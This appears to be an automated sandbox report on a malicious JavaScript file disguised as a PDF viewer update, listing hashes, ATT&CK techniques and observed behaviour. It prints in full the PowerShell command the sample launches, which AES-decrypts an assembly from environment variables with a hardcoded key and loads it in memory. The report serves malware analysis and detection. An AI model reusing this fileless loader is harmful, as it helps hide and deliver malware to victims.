8721d226858c3021456ced197a5bed3a0c3d69768183bb52dd0cb8b2106a6e9b

Analysis

max time kernel
149s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
11/10/2026, 00:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Atualização-PDFViewer-v.63.js
Size 2.9MB
Sample261011-anc84avy6j
SHA256 8721d226858c3021456ced197a5bed3a0c3d69768183bb52dd0cb8b2106a6e9b
MD5 c49e0a4ef4a1b784ffcecf82d6e678b1
SHA1 de1d5d87f8262fd83d00e74c461caaf51b88509f
SHA512 91041cd78dbb89012d0c69a5de687dec8a376997f97cb0559aeda8f3027696fd75489a673d52e6d769c8d3f6685839399b7cf8f41a0a34ce5a73e1e09374046d
SSDEEP 384:+u0sHPoENvvuEf5FREj5LaVM6G0sUiZKfYLBjeRA5VBRWmLP2EhZV0TEF+NJt/oA:rs4PpdvmrZk
TLSH
T17BE51EA83BDCF181347F8DD766CABB6842AA2126DF5B65DC04081345C231DD4FABB85B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	252	800	powershell.exe	88

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	252	powershell.exe
9	252	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
252	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
252	powershell.exe
252	powershell.exe
252	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	252	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Atualização-PDFViewer-v.63.js
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:3696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -Command "$perseveringly=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$burnous=[Text.Encoding]::UTF8.GetBytes('SuaChaveAqui32BytesExemplo123456');$speedometer=[Text.Encoding]::UTF8.GetBytes('1234567890123456');$pignolia=[Convert]::FromBase64String($perseveringly);$equilateral=[Security.Cryptography.Aes]::Create();$equilateral.Key=$burnous;$equilateral.IV=$speedometer;$helostomid=$equilateral.CreateDecryptor();$magistracies=$helostomid.TransformFinalBlock($pignolia,0,$pignolia.Length);[AppDomain]::CurrentDomain.Load($magistracies)|Out-Null;[Win32.RMP.aaaaaaa]::aaaaaaaaaaa('ubB/aZpYgn9jFyv/NYQRptFRVO5sUixzMHFmaruudx3R+qbJUlcPm4vRf4/MLllTqkRM96j3n4WFOmlAg3n3kg==','','PXXFHEc+2V/h8cxKtzLGu4Z0Fh3gP5DHxkGVjClyP4y9JYIgjbCpBS2HhhOiT7fR','XFsYl1Uh0sJe9K0xlJGuyDwmKqe3+DGx/4V8Gda4cwc=','lr1Q6mVk7mEc2Mzu1TFgLGA5WehZRMD+c5b/90nssEc=','','Tut3L6vpOp2pFA0GAIjnBakPrPx44TScc/d+Jb+LzNU=','','3X5UN40kyw4HczRHiEirjf/v4UEAEez/HytrwleZw2jU335xAHwOLvViaAiJYivY','L94fQ2gKLhFg5uViwlpgS4vYvBhXQjWeCIdjM0tuluGQ2tSvSdhPCITyBuV6kL2s','S/hQublGWVew080/6+YvYqaRbBOGXH5N5IxHg8REedc=','J80ZRry7+FhJ4iyOWMi9LOWp+yIi33Z5d/WF556Uht8=','2Z0zg8/evMcRgUDM0214W+oMhQdpX6fTATUi1Z8xdKM=','','Vms2+4GdmjnVvO3W7wrGh9uGcO7OQX4qmGJItc04ldc=','LKRGoGwldh85bd9Tkq/+zSBpHMupP8502/1OkZCU3vE=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:252

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/252-0-0x00007FFF2DB6F000-0x00007FFF2DB70000-memory.dmp

Download

memory/252-1-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/252-2-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/252-5-0x000002329D4B0000-0x000002329D4D2000-memory.dmp

Download

memory/252-6-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/252-7-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/252-8-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/252-10-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/252-9-0x000002329D4E0000-0x000002329D504000-memory.dmp

Download

memory/252-11-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/252-12-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/252-13-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/252-14-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/252-15-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/252-17-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download